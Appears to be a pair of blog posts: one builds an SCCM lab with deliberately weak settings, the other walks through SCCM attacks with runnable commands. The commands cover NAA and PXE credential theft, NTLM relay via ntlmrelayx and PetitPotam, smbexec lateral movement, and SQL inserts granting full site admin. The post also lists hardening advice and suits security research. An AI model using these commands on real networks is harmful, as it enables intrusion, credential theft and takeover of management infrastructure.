Grow Your Own SCCM Lab!

The offensive usage of SCCM has become a big topic in recent months and years. In this article, I will cover the basics of SCCM and how to configure an SCCM lab from scratch. I also have another article which shows the currently known attack vectors involving SCCM.

As with every article on SCCM, lets do a quick recap on what it actually is and what it is currently called by Microsoft.

SCCM History

SCCM has had a range of names over the 19 years since the original Systems Management Server 1.0 was released. Thanks to Wikipedia:

In 2007, System Management Service (SMS) became System Center Configuration Manager (SCCM).
In 2019 Configuration Manager moved to the Microsoft Endpoint Manager suite.
In 2023 the term “endpoint” was removed to rename the product to Microsoft Configuration Manager (MCM).

For this article, I will just refer to it as SCCM, rather than MECM or MCM.

SCCM Structure

Due to its usage as a software and configuration deployment product, SCCM is designed to work reliably across large and complex estates without causing bandwidth and latency issues. For example, in a distributed network you potentially wouldn’t want your US office reaching out to the UK office for updates – you would want to have a dedicated server in both the UK and US.

To learn more, we can use Microsoft’s own guidance to show us the basics, which I will paraphrase below.

Stand-Alone Primary Site

Starting with the simplest possible SCCM network, we would have one single ‘site’ to handle deployments. This would be known as a stand-alone primary site. Each site has a unique 3 letter code to refer to it, so we will use LON to represent London. A site is a logical way of grouping clients together, and is typically used to group by geographic location (For reasons mentioned earlier!).

Secondary Sites

If our fictitious office was to expand, we might have sites in Manchester (MAN) and Edinburgh (EDI):

In this example, we would add in the EDI and MAN sites as secondary sites, shown in green above. In the words of Microsoft, a secondary site:

Provides support for devices in the remote location. It provides support by compressing and then managing the transfer of information across your network that you send (deploy) to clients, and that clients send back to the site.

As pointed out by Phil Keeble (Nettitude), secondary sites contain their own SQL databases. It isn’t possible to manage clients from a secondary site, any requests have to come from the primary site above it. For example, if we were to deploy an application to a client in Edinburgh (EDI), an SCCM admin would login to the London (LON) primary site, select the Edinburgh-based asset and deploy.

Central Administration Site

Finally, if our fictious office merged with another firm in the US, we might see a structure such as this:

San Francisco (SAN) would be a central administration site in this example. Central administrationsites are suitable for “large-scale deployments, provides a central point of administration, and provides the flexibility to support devices that are distributed across a global network infrastructure”, but they do not “directly support management of devices, which is the function of a primary site”.

Central Administration sites only apply when we are managing more than 100,000 clients, so wont be featuring in our labs!

Summary

Site TypeUsage
Central Administration Site (CAS)Provides a central point of administration for large & complex networks
Primary SiteManages devices in its site, or any connected secondary sites
Secondary SiteRelays deployments from its primary site, allowing for distributed management in areas with lower bandwidth

Roles

Each site has one or more ‘site system servers’, these are servers or workstations which have had a ‘site system role’ installed on them. These roles allow for additional features to be added into the site or SCCM network as a whole. Some of the core roles are:

Site System Role

As mentioned before, this role is installed on any device which is a Site System Server. This contains the core functionality to allow SCCM to work.

Site Database Server

This is for devices which store a copy of the sites database file.

SMS Provider

The SMS Provider provides read/write access to the Configuration Manager DB at a site via a WMI provider. Each Central Administration Site and Primary Site require one server with this role.

Other Roles

There are a range of other roles, though we only really care about the Distribution Point and Management Point for the purpose of attacking SCCM. Despite this, it is interesting to see what else SCCM supports (and could be exploitable from…). I will cover the non-deprecated ones below:

RoleUsage
Cloud Management Gateway Connection PointUsed to manage Configuration Manager clients over the internet.
Data Warehouse Service PointStore and report on long-term historical data
Distribution Point One of the key roles associated with SCCM, this role allows for items to be downloaded by clients. This can be anything from software packages through to OS images.
Endpoint Protection PointManages Microsoft Defender settings for devices in a site. Has to be installed on the highest tier within your SCCM environment.
Exchange Server connectorAllows non-on-prem devices to connect to an on-prem Exchange instance, allows for very basic MDM.
Fallback Status PointMonitors devices which are cannot connect to their management point and so are unmanaged. Only available on primary sites
Management PointProvides policy and service location to clients, as well as receiving config data from clients.
Reporting Services PointIntegrates with SQL Server Reporting Services to create reports for SCCM
Service Connection PointDownloads updates for SCCM, synchronise apps from Microsoft Store and discover users and groups within AAD
Software Update PointIntegrates with Windows Server Update Services ( WSUS ) to provide software updates
State Migration PointStores user state data when migrating a devices to a new operating system

Special Accounts

SCCM has several special accounts, but we will focus on 2 in particular: The ‘Network Access Account’ and the ‘Client Push’ account. Both of these facilitate and feature in a lot of attack paths, so we will become quite familiar with them!

Network Access Account (NAA)

The NAA account is used by clients from untrusted domains to access resources on the network. For example, if a new device is joined to an SCCM managed domain, the NAA could be used to load scripts and resources from the domain.

Client Push

Client Push accounts are used to deploy the SCCM client onto clients we wish to manage. The down side of this is that these accounts require local admin access to any boxes which they need to manage (to install the client), so are ripe for exploitation.

Other SCCM Functionality

SCCM has a lot of functionality, I will cover some of the other key functionality here:

PXE Boot

We can use PXE booting (Or PXE OSD as its otherwise known) to deploy OS’s to devices as they are connected to the network. This process can be exploited with PXEThief, but thats one for another day…

Task Sequences

MWR have a great blog post on Task Sequences, which is well worth reading. In short, Task Sequences effectively allow us to break down the process of performing some sort of IT operation into multiple steps.

For example, deploying an OS onto a remote machine means we need to format the drive, install the OS, update the OS and so on. Each of those steps would be considered as part of a Task Sequence in SCCM. These sequences can contain variables, which are known as ‘Collection Variables’. These can contain juicy details such as credentials or other secrets.

Running A Script

Like all good C2’s (aka IT Management Tools), we can also run a script on a machine of our choosing. Obviously this wont be abused in any way…

Creating An SCCM Lab

After all of that theory, lets make a fairly basic SCCM lab. Microsoft offer pre-built labs (thanks to _Mayyhem) or XPN recommends Automated Lab in one of their posts. Finally, @an0n_r0 has shared a SnapLabs template, which I used in my other blog post on attacking SCCM. If you want to build your own, then read on to produce a site with the following structure:

We will assume that we have a freshly installed version of Microsoft Server. In this case, I will use Server 2019. To start with, I will download Microsoft Configuration Manager and follow the guide by SystemCenterDudes. I went against the standard guidance here, and just installed everything onto one drive – obviously this has significant implications for a production workload, so be careful!

Before you get started, consider these pointers for installing within a lab:

  • Use a NETBIOS name shorter than 15 chars (i.e. SCCM01)
  • Provision at least 80GB for storage – SCCM requires 15GB spare storage before allowing final installation, with the SQL & Windows Server components taking up ~35GB before SCCM is installed

Creating AD Groups

On our blank server, we will start by downloading and installing the MCM file.

Whilst this was downloading and extracting, I created the accounts required on the DC. I also made the sccm-admin account a local admin on the Primary Site server.

My AD accounts are as follows:

I then installed the pre-requisites for a SCCM primary site using the command provided in the guide. To do this, I spawned an administrative PowerShell session and ran the command below:

Get-Module servermanager
Install-WindowsFeature Web-Windows-Auth
Install-WindowsFeature Web-ISAPI-Ext
Install-WindowsFeature Web-Metabase
Install-WindowsFeature Web-WMI
Install-WindowsFeature BITS
Install-WindowsFeature RDC
Install-WindowsFeature NET-Framework-Features -source \yournetwork\yourshare\sxs
Install-WindowsFeature Web-Asp-Net
Install-WindowsFeature Web-Asp-Net45
Install-WindowsFeature NET-HTTP-Activation
Install-WindowsFeature NET-Non-HTTP-Activ

Whilst those were installing, I went to the location where I extracted the SCCM installation resources to, then navigated to SMSSETUP\BIN\X64\extadsch.exe , which will extend the schema of our AD to support SCCM.

Following the System Center Dudes guide, don’t be tempted to skip the ADK installation step, as it is a pre-requisite for the SCCM installation! The latest download URL has changed from the one in their guide.

SQL Server Setup

I then installed SQL Server 2022 Developer. After it had installed correctly, I had a warning about the firewall to ensure all valid ports are open, something we sorted earlier thanks to the batch script. I then unchecked the Azure Extension for SQL Server .

A few steps later I had an error saying that the RPC server was unavailable, this was fixed by following this guide and adding my AD domain name (attackrange.local) to the DNS suffixes.

I then skipped the SQL Reporting Services, because yolo (aka we are in a lab). I also skipped SQL Cumulative Update (CU), because we just downloaded the latest version from Microsoft, and I’m not too bothered about having the latest and greatest version.

Terrific!

Whilst SSMS installed in the background, we can create some SPNs. Notice that the username has been changed from yourdomain\SQLSA in the guide to ATTACKRANGE\sccm-sql, which is the name I was using for the SQL admin account in my lab.

setspn -A MSSQLSvc/SCCM-PRIMARY:1433 ATTACKRANGE\sccm-sql
setspn -A MSSQLSvc/SCCM-PRIMARY.attackrange.local:1433 ATTACKRANGE\sccm-sql

We can then configure the SQL DB using the following optional command, where ABC is the site code of the primary site. I have modified the command in the guide as I am using a single drive on the server in my lab, and have also reduced the DB table sizes.

USE master
CREATE DATABASE CM_ABC
ON ( NAME = CM_ABC_1,FILENAME = 'C:\SCCM DB\CM_ABC_1.mdf',SIZE = 1000, MAXSIZE = Unlimited, FILEGROWTH = 250)
LOG ON
( NAME = ABC_log, FILENAME = 'C:\SCCM DB Logs\CM_ABC.ldf', SIZE = 1000, MAXSIZE = 2000, FILEGROWTH = 125)

ALTER DATABASE CM_ABC
ADD FILE ( NAME = CM_ABC_2, FILENAME = 'C:\SCCM DB\CM_ABC_2.mdf', SIZE = 1000, MAXSIZE = Unlimited, FILEGROWTH = 250)

When this is run, we should end up with the following tables.

Next we need to modify the TempDB table.

USE master
GO
ALTER DATABASE tempdb MODIFY FILE (name='tempdev', filename='C:\SCCM DB\TempDB.MDF', SIZE= 500, MAXSIZE = 2000, FILEGROWTH = 125)
GO
ALTER DATABASE tempdb MODIFY FILE (name='templog', filename='C:\SCCM DB Logs\TempLog.LDF', SIZE= 500, MAXSIZE = 2000, FILEGROWTH = 125)
GO

We then enable our IP2 interface to allow the SQL server to be accessed.

Installing SCCM

Running prereqchk.exe shows that we meet all of the pre-requisites!

Now we run the splash.hta file to install SCCM – yes that’s right, we use a HTA file to install SCCM. We will install this as an evaluation, which has a healthy 180 day demo.

Let SCCM download the files we need and we will set up our primary site.

I then set the logs to be the same folder as before

Use the default names for the Management Point and Distribution Point.

And we can now see the magic button!

This can take a while, so grab a tea and let it run! For reference, the guide states around 15-30 mins to install, it took 57 minutes on a 2vCPU, 8GB RAM VM.

We now have a primary site in our SCCM lab!

Management Point

We will now create a Management Point, so we can manage devices within our lab. As a reminder, Management Point’s manage the communications between our primary site and the clients under our control. This can be anything from distributing software updates to individual files.

Again, we will follow the guide by SystemCenterDudes,as well as using PatchMyPC’s video.

We will install the Management Point on our primary site, as mentioned by the guide:

The Management Point is a site-wide option. It’s supported to install this role on a stand-alone
Primary site, child Primary site or Secondary site. It’s not supported to install a Management Point on a Central Administration site.

From our previous installation, we will have pre-installed all of the necessary requirements. In a production workload we might not necessarily install a management point on our primary site server so YMMV!

Quick Theory Lesson

Management Points have a lot of concepts floating around them, as they are designed to be robust, yet flexible in the way they identify and manage devices. This means it is quite complex to just add a few devices in a lab setting!

Below is a high level description of how the concepts link together, as I found it a little confusing to start.

To manage devices, we will create a new ‘device collection’. Initially I will make a group in AD which will contain all of the devices I want to manage.

The two devices are:

Device NameDescription
 WIN10-12345Windows 10
WIN-HOST-558Windows Server 2019

We will configure our site to automatically install the SCCM agent.

We will then enable 'Automatic site-wide client push installation' and 'Allow connection fallback to NTLM', due to it being a pre-requisites for the SCCM Site Takeover attack. In reality, there are other (more secure) ways to deploy the SCCM client to the estate – but I want to be insecure for my lab.

Note the 'Configuration Manager site system servers' and 'Always install MCM on DCs' options – these could be 2 potential options for further lateral movement into higher tiers, whilst blending in with legitimate looking traffic.

On the Accounts tab, we will enter the details for ATTACKRANGE\sccm-client-push. If we don’t specify an account, then the site server will attempt to connect using its computer account

Back on the ‘Sites’ view, we will click on Configure Site Components and then on Software Distribution. Click on Network Access Account and then enter in the details of our sccm-naa account as before.

Boundaries

Create a boundary group by going to Administration -> Overview -> Hierarchy Configuration -> Boundary Groups -> Create Boundary Group . I will name mine Main ABC Boundary . On the References tab we will set Use this boundary group for site assignment and configure our Primary Site as the site system server.

We will go to Administration -> Overview -> Hierarchy Configuration -> Boundaries and create a new Boundary based on an AD Site

In the Boundary Groups, we will add the group we just created. We will now make a group policy to configure the firewall settings, so that we can actually push data from SCCM onto the devices. To do this, create a group policy and navigate to Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Windows Firewall.. -> Windows Firewall... -> Inbound Rules.

Right click and add a new rule, then select WMI from the Predefined radio button. Select all options and click OK. Do the same process for the pre-defined ‘File and Print Sharing‘ firewall rules. We now have a selection of new rules.

It is a good idea to run gpupdate \force on any devices you want to join to the network – without these firewall rules above they wont connect!

Discovery

As detailed by this guide, using MCM on the primary site we will go to Administration -> Hierarchy Configuration -> Discovery Methods -> Active Directory Group Discovery. In my case, I had to enable the discovery method by double clicking on the entry and enabling it.

Right click and click on Properties, then on Add and Groups. In the Groups box, we will click on Browse and search for our AD groups which we want to look in for devices to manage.

Confirm these dialogs, and the devices will appear in SCCM.

Let this run for a while, and we should have our devices call in!

Run A Basic Script

To prove we have SCCM working properly, I will make a very basic script to run the hostname command.

I will then disable script approval by going to Administration -> Sites -> Hierarchy Settings -> General Tab and then uncheck 'Script authors require additional script approver'.

After approving the script, I will run it against WIN-HOST-558.

Which we can see has run on the system:

And that’s it, we have a lab! From this point we can perform most of the attacks apart from those which require PXE.

Offensive SCCM Summary

This article aims to summarise the currently available tooling (August 2023), as well as the attack vectors which are present. My previous article covers the basics of SCCM and how to configure an SCCM lab from scratch.

In summary, I believe the SCCM attack surface is currently not especially well understood or covered by most red teams, outside of the tooling produced by a number of fantastic researchers (below). More organisations need to better understand this area, as I have noticed a number of parallels between SCCM now and ADCS in 2021. Undoubtedly SCCM will remain an area of interest for researchers, red teamers and attackers for some time to come!

This post is based almost entirely on work done by Chris Thompson (@_Mayyhem) and Garrett Foster (@garrfoster), I am simply joining the dots between several of their projects and tools – as well as work from several other researchers!

Tooling & Who To Follow

There is a lot of publicly released tooling to interact with SCCM:

In addition to these tools, there are a few great Twitter profiles to follow to remain up to date with the latest SCCM developments.

Lab Setup

For this, we will borrow the SCCM SnapLabs template from an0n_r0. On top of this, I will configure:

  • 2 Hosts
    • Win10 host (An ‘infected’ host), which will host our attacker tooling:
      • PXEThief
      • PowerSCCM
      • SharpSCCM
      • SCCMWTF
      • sccmhunter
    • Kali (In reality, this would be behind our C2 infra, but I want the lab to be nice and simple!). I will install:
      • Imapcket
      • Responder
  • 2 Users
    • SCCMLAB\da
      • Domain Administrator account, mostly to make my life easier when debugging
    • SCCMLAB\joe.bloggs
      • Our friendly infected user
      • Local admin rights on the Win10 device
  • A Task Sequence
    • Create a boot image, then a task sequence and set some dummy variables within it
  • Discovery Methods
    • Enabled AD Group Discovery on the Domain Computers group

The devices in the lab are as follows:

DeviceIP AddressName
Domain Controller10.10.0.100dc.sccmlab.local
SCCM Site Server10.10.0.101sccm.sccmlab.local
SCCM SQL Database10.10.0.102sccmsql.sccmlab.local
Server 110.10.0.151server1.sccmlab.local
Server 210.10.0.152server2.sccmlab.local
Kali (Attacker)10.10.0.161kali
Windows 10 Client10.10.0.241win10.sccmlab.local

We will use the joe.bloggs user extensively, who has a password set to a.

General Recommendations

There a LOT of recommendations for how to secure SCCM. Below is a list of recommendations which are collated from Gabriel Prud’homme‘s talk and SharpSCCM’s wiki.

  • Active Directory
    • General
      • Ensure that any accounts used by SCCM for deployment strictly follow least-privilege principles. This includes NAA, Client Push, Task Sequences and Collection Variables.
      • Check that Tier 0 assets are not being managed by SCCM
      • Ensure that any SCCM administrator accounts are being treated at the same level as the assets which they manage. I.e. An SCCM site managing all client devices should be be treated as a Tier 0 account.
      • Check for password re-use or weak passwords used by any of the accounts used by NAA, Client Push, Task Sequences and Collection Variables
      • Set ms-DS-MachineAccountQuota to 0
    • Network Access Accounts (NAA)
      • Dont use NAA’s if possible, use Enhanced HTTP instead – as recommended by Microsoft
      • Rotate passwords on NAA accounts if they are no longer used, as the credentials can still be cached.
      • If NAA has to be used, ensure the account has no special permission. It only needs to allow for domain connectivity
    • Client Push Accounts
      • Don’t use Client Push if possible, use ‘Software update-based installation’ instead
      • If Client Push has to be used:
        • Specify a Client Push account, to prevent the site computer account from performing Client Push installations.
        • Disable automatic site-wide Client Push installation.
  • PXE Hardening
  • Patching
    • Install the 2 KB’s KB15498768 and KB15599094
      • These prevent a number of the attacks (Such as Site Takeover via Client Push)
    • Enable SMB signing domain-wide (Prevent NTLM relay to SMB)
    • Require LDAP signing or channel binding on domain controllers (Prevent NTLM relay to LDAP)
    • Require Extended Protection on AD CS servers (Prevent relay to HTTP)
  • MSSQL Hardening
  • Site Servers
    • Ensure all unnecessary connections to site servers are blocked by firewalls to reduce likelihood of relaying attacks

SCCM Attack Paths

Before we delve into all of the attack paths, here is a summary of the potential attack paths we can exploit:

Chris Thompson & Diego Lomellini go into more depth on the various site takeover attacks in their SharpSCCM 2.0 talk, which includes the following slide at 4:55:

Throughout this I will use the Kali machine to refer to an attacker controlled machine, typically being used to listen for incoming NTLM authentication responses.

Network Access

To start with, we will assume that we just have network access and haven’t yet managed to compromise a user. Thankfully SCCM supports unattended deployments through technologies such as PXE. Unfortunately I was unable to get this working in my lab, so have been unable to replicate these attacks:

Recon – Find SCCM Infrastructure

As covered by Gabriel in his talk at BHIS, we can scan for specific open ports which might indicate that SCCM is running on the system.

SCCM ItemPortLink
Site Servers/Management Points8530,8531,10123 (All TCP)Link
Distribution Point49152-49159 (TCP)Link
PXE OSD4011 (UDP)Link

For example:

nmap -sT -p 8530,8531,10123 --open 10.10.0.0/24

Credential Access – Obtain PXE Media File

If PXE is used for for OS deployment, then we can use PXEThief to enumerate through the resources used. If the PXE process doesn’t require a password, then we can use pxethief.py 1 to automatically obtain the relevant images, and parse them for credentials. If it does use a password then we can use option 3 or 5 to try and decrypt the file, or crack the password to the file using Hashcat.

Credential Access – Obtain NAA Creds

Assuming we have access to the network, the network uses PXE for OS deployment and we know the password to start PXE deployment, then we can attempt to join a new machine to the network.

From Christopher Panayi’s talk at DefCon 30, we can press F8 repeatedly to get a SYSTEM shell, where we can then run a VBS script to dump out the environment variables, which can include the _SMSTSReserved1 and _SMSTSReserved2 variables, which are the creds for the NAA account.

Credential Access – Read unattend.xml

Again, assuming we have access to the network, and the network uses PXE deployment, we can attempt to join a new machine to the network.

From Christopher Panayi’s talk, if we wait until the OS installation has begun, we can look in the C:\Windows\panther\unattend\unattend.xml file to see if it contains credentials for domain-joining the new OS.

Standard User

If we assume we have just landed in an environment, there are a number of potential avenues of attack for us. As you can see below, we can now potentially perform some site takeover attacks – which could allow us to gain full permission over an SCCM site.

Recon – Identify Site Information

Using MalSCCM.exe locate, we can identify the site code and the server which is the management point for our current device. We can do the same with PowerSccm using the Find-LocalSccmInfo cmdlet, or directly query the local WMI interface via PowerShell with Get-WmiObject -Class SMS_Authority -Namespace root\CCM

MalSCCM.exe locate

Or we can do this by searching for ‘Configuration Manager’ in the control panel.

We can use SCCMHunter with the find command to query LDAP for details on any AD objects.

python sccmhunter.py find -d sccmlab.local -dc-ip 10.10.0.100 -u joe.bloggs -p a

Finally, we can hunt in information repositories for some terms which are linked to SCCM:

  • ccm_system
  • ccm_system_windowsauth
  • sccm
  • mecm
  • AdminService/v1.0

Enumeration – Logs

We can also look through the SCCM logs within C:\Windows\CCM using SharpSCCM with the following command

SharpSCCM.exe local triage

Enumeration – Previously Executed Scripts

From a Primary Site, we can run PowerShell scripts on remote devices. These scripts are stored on the client within the %windir%\CCM\ScriptStore folder, but require admin access to read them.

Luckily for us, these scripts can be PowerShell scripts, which will be logged within the PowerShell logs of any client which it is run on. If PowerShell logging is enabled. We can retrieve the contents of the script by searching through the event logs, using the command below we can look for a password:

Get-WinEvent -ProviderName Microsoft-Windows-PowerShell | Where-Object { $_.Message -like "*password = *" } | Format-List -Property Message

Recon – Enumerate SiteStore Scripts

Scripts run by the ‘Run Script’ command will be logged if certain (common) criteria are met. These scripts are stored on the remote devices within C:\Windows\CCM\ScriptStore. If we have admin access to the device, then we dont need to rely on PowerShell logging to be enabled, as we can read them from the device itself.

The scripts are protected so that only the SYSTEM user is able to read them. We can spawn a SYSTEM shell using PSExec -s -i cmd.exe and read the contents of the file.

Enumeration – SCCMContentLib

Thanks to 1njected’s CMLoot repo, we can investigate files stored within the hidden SCCMContentLib$ share on Distribution Points. As mentioned in their blog post for WithSecure, the file structure for this share is frustrating to parse through, and it can be quite difficult to correctly secure files in this share.

. \CMLoot.ps1
Invoke-CMLootInventory -SCCMHost sccm.sccmlab.local -OutFile "C:\Excluded\cmloot_out.txt"

Enumeration – PXEBoot Shares

Using SCCMHunter with the smb option, we can take the results of its find command, and probe each result for SMB shares titled REMINST, which indicate the usage of PXEBoot. PXEBoot can then be exploited with PXEThief to obtain boot images for any devices which are connected to the network – these images can contain domain credentials.

python sccmhunter.py smb -d sccmlab.local -dc-ip 10.10.0.100 -u joe.bloggs -p a

We can then navigate to \\sccm.sccmlab.local in the File Explorer. Notice the REMINST folder in the top right below.

The REMINST/SMSTemp folder can contain *.var files, which can be decrypted to reveal sensitive values. To decrypt any identified files, we can use PXEThief in mode 3, else we can use mode 5 to get the hash of the file. We can decrypt this using Christopher Panyai’s custom hashcat module using mode 19850. After cracking we can then run PXEThief again using mode 3, to decrypt the file. Gabriel’s talk at BHIS includes a demo on how to perform this.

Credential Access – NAA

ms-DS-MachineAccountQuota > 0

The easiest way of obtaining NAA credentials relies on the domain having a ms-DS-MachineAccountQuota value greater than 0, or some way of obtaining machine account passwords. To perform this attack, we will use sccmhunter with the http module, which will create a computer object via the MachineAccountQuota misconfiguration, when using the -auto option. It will then attempt to obtain NAA creds, writing them to the loot folder if successful.

python sccmhunter.py http -d sccmlab.local -dc-ip 10.10.0.100 -u joe.bloggs -p a -auto

We can read out the loot/sccm_naapolicy.xml file, which is just XML data, which then contains a blob of encoded data to secure the NAA, within the NetworkAccessUsername and NetworkAccessPassword fields.

We then need to decrypt these credentials, which we can do with the policysecretunobfuscate.c file from XPN’s sccmwtf project.

Under the hood, sccmhunter http is using the sccmwtf project (to spoof machine enrolment) along with addcomputer.py (To get computer account credentials). XPN’s blog post on the subject is well worth a read though, as it delves into the crypto behind this process.

ms-DS-MachineAccountQuota = 0

(Updated 5/12/23) Ralph Desmangles added functionality to sccmhunter, which will pull the NAA credentials from DPAPI, avoiding the need to perform NTLM relaying. We need to provide domain credentials and the server we want to target. In this case, we have local admin rights on our device so we will set the target to 10.0.1.6, which is the IP address for our win10 machine.

sccmhunter.py dpapi -u joe.bloggs -p a -target 10.0.1.6

This is mentioned in the SpecterOps post about NAA’s, which refers to the location within WMI. We can confirm this without using sccmhunter and instead using a admin PowerShell session with the following command:

Get-WmiObject -namespace “root\ccm\policy\Machine\ActualConfig” -class “CCM_NetworkAccessAccount”

If we want to avoid using DPAPI for some reason, then thanks to Gabriel Prudhomme’s (@vendetce) talk, we can perform this via coercing authentication (e.g. via PetitPotam).

We can use a modified version of Impacket by Tw1sm to relay NTLM auth and obtain NAA credentials. When copying this, make sure to grab the feature/sccm-relay branch – the master branch doesn’t include the updated version of ntlmrelayx. Also make sure you are using virtual environments in Python here, as this version of Impacket is quite far behind the latest release, so it is liable to not work as expected!

git clone -b feature/sccm-relay https://github.com/Tw1sm/impacket.git impacket-tw1sm

Lets stand up ntlmrelayx.

python3 ntlmrelayx.py -t http://sccm.sccmlab.local/ccm_system_windowsauth/request --sccm --sccm-device test12345 --sccm-fqdn sccm.sccmlab.local --sccm-sleep 10 -smb2support

Where --sccm-device is a random value which will represent the device name we will create (So should be random) and --sccm-sleep is a time given to allow things to process. The IP chosen for PetitPotam doesn’t matter, it just needs to be a machine in the domain. This will create fake devices in SCCM, so will require cleaning up after exploitation!

We can now coerce authentication, where 10.10.0.161 is the IP address hosting ntlmrelayx and server1.sccmlab.local is the target to coerce authentication from.

python3 petitpotam.py 10.10.0.161 server1.sccmlab.local -u joe.bloggs -p a -d sccmlab.local

And ntlmrelayx responds by obtaining NAA credentials!

This is the same file as described earlier, so we wont cover decryption here! More details on this attack are in XPN’s blog post on the subject.

I suspect this could also be abused by leveraging pre2k computer accounts, removing the need to perform relaying.

Credential Access – Client Push Account

We can trigger a client push and capture the hashes with Responder.

Note that we get both the machine account and the Client Push account. Password cracking can be attempted using mode 5600 in hashcat.

Another option covered by Christian’s talk at BHIS involves us ‘removing’ our device from SCCM, which will cause it to automatically try to re-enrol it back into SCCM. This does require us to escalate to SYSTEM permissions, and is quite noisy given we are renaming machines, disabling firewalls and so on. It also requires automatic client push and Allow connection fallback to NTLM to be enabled.

As detailed in his talk, this means that one of two accounts will then authenticate onto our machine:

  1. The SCCM Client Push account
  2. The machine account for the SCCM Site Server

From here, we can then obtain a NTLMv2 hash for one of those accounts. Given the complexity of this, we are likely better using the invoke client-push attack from SharpSCCM if we meet the criteria, as it only requires a low-priv user account.

Lateral Movement – Client Push Account

The premise of this attack is that we can abuse the Client Push account by coercing it to authenticate with our machine. We can then relay this authentication onto other devices to move laterally. The crux of this is that the Client Push account needs to have local admin on all clients to work – so we just need meet the criteria above (SMB signing disabled & not patched). This is from Gabriel’s talk at BHIS, which refers to a talk by Brandon Colley at BSides KC.

This does have a few pre-reqs.

  1. Requires SMB Signing to be disabled on our target – we can find this out with sccmhunter.py sccm.
  2. KB15599094 and KB15498768 to not be installed. If they are installed, then we might be able to do the SCCM Server Machine Account method below

Below is a diagram summarising the attack, ultimately step 4 can be whatever ‘action’ we want to take that leverages NTLM relaying. For example, this could be relaying to ADCS via ESC8.

We will start ntlmrelayx, targeting a server I know already exists (10.10.0.151). I will use the -socks flag so that we can leverage this captured NTLM authentication with a tool of our choice (by using proxychains).

python3 ntlmrelayx.py -t 10.10.0.151 -smb2support -socks

And then we can invoke the Client Push account to authenticate to our domain-joined machine with SharpSCCM , using its invoke client-push command. 10.10.0.161 is the IP address for our ntlmrelayx server.

SharpSCCM.exe invoke client-push -t 10.10.0.161 -mp sccm.sccmlab.local -sc S01

After a little wait, ntlmrelayx captures the incoming authentication.

We can run the socks command in ntlmrelayx to show the status of the captured sessions.

In this case, I will use smbexec.py to obtain a shell as a demo. Make sure your account (SCCMLAB/SCCMCLIENTPUSH) matches up with the account you captured in ntlmrelayx. Also check proxychains is set to 127.0.0.1:1080, as that is what impacket uses by default.

proxychains python3 smbexec.py SCCMLAB/SCCMCLIENTPUSH@10.10.0.151 -no-pass

Lateral Movement – Site Takeover

Via SQL

As described by Chris Thompson of SpecterOps, the computer account for the Primary Site server is required to be a local admin on the SQL server and Management Point computers. Chris describes this in far better detail than I will be able to, but in effect this means that we can coerce NTLM authentication from the Primary Site’s computer account and relay it onto the SQL Server which supports the SCCM site. From this point, you could then grant yourself the Full Administrator SCCM role using SQL commands – giving yourself full access to any system managed by the Site. Gabriel covers this at 1:22:54.

This does require Extended Protection to be disabled in MSSQL. If this is enabled, then we can always relay via SMB onto a Management Point or MSSQL servers, if SMB Signing is disabled. This process is semi-automated with sccmhunter using the mssql module.

In order to be able to execute SQL queries against the site’s SQL server, we will coerce authentication from the site server’s machine account and relay it to the mssql service on the SQL server. This attack works due to a requirement for the site server’s machine account to have local admin rights over the SQL server during the setup of SCCM. See the first image in Chris’s blog as proof.

In the diagram below, the ‘site takeover’ section is only steps 1-4, steps 5-9 detail the exploitation steps if a package is deployed via SharpSCCM (as shown later on).

To start, lets check if we have permission to run a command on server1.sccmlab.local. As expected, we don’t have permission.

Lets stand up ntlmrelayx to capture incoming NTLM authentication requests. We will use SOCKS mode to keep the connection open, which will allow us to use proxychains to run SQL queries against the DB (10.10.0.102).

python ntlmrelayx.py -smb2support -ip 10.10.0.161 -t mssql://10.10.0.102 -socks

When this is stood up, we can trigger a Client Push from our infected user account. Don’t forget to set the target (-t) to the IP address of our machine running ntlmrelayx!

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t 10.10.0.161

ntlmrelayx catches the incoming authentication, notice that SCCM$ manages to authenticate against the mssql service on the penultimate line.

Whilst keeping ntlmrelayx open, lets open another terminal and proxy our SQL queries through to the SQL server. Note that the account name is wrapped in quotes due to it containing a $ sign. We are also using -windows-auth. When we connect we can enter whatever we want for the password.

proxychains python3 mssqlclient.py "SCCMLAB/SCCM$"@10.10.0.102 -windows-auth

We will now run sccmhunter.py mssql to determine the SQL command to run. In this, we will set joe.bloggs to have SCCM admin rights on site S01 with the arguments -tu joe.bloggs -sc S01

python sccmhunter.py mssql -d sccmlab.local -dc-ip 10.10.0.100 -u joe.bloggs -p a -tu joe.bloggs -sc S01

Resulting in a few SQL statements being generated:

use CM_S01

INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x0105000000000005150000003B0AC320F4F69FBD8B3F26E644060000,'SCCMLAB\joe.bloggs',0,0,'','','','','S01');

SELECT AdminID,LogonName FROM RBAC_Admins;

Lets run the first set of commands, which will add joe.bloggs into the RBAC_Admins group. We can then prove we have set joe.bloggs to AdminID = 16777218 by running a SELECT query on the RBAC_Admins table

Lets add this into our sccmhunter command to get the final queries, to grant permissions onto the joe.bloggs account.

INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00ALL','29');

INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00001','1');

INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00004','1');

And we can confirm we have added our permissions in:

We can also confirm this by going to Administration -> Security -> Administrative Users within MCM.

Lets run our command again to execute calc.exe on server1.sccmlab.local, this time we have success!

Via AdminService API

Hot off the press!! Garrett Foster recently released a blog post detailing how we can leverage the AdminService API interface to also take over an SCCM site. AdminService API is used to perform SCCM administrative tasks, and is used by the admin and pivot modules in sccmhunter – which Garrett wrote.

Using their PR to impacket, we will run ntlmrelayx. We can obtain our user’s SID using SharpSCCM.exe local user-sid.

ntlmrelayx.py -t https://sccm.sccmlab.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "SCCMLAB\joe.bloggs" --displayname "SCCMLAB\joe.bloggs" --objectsid  S-1-5-21-549653051-3181377268-3861266315-1604

We will again coerce authentication via Client Push, but we could use PetitPotam or another technique of your choosing.

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t 10.10.0.161

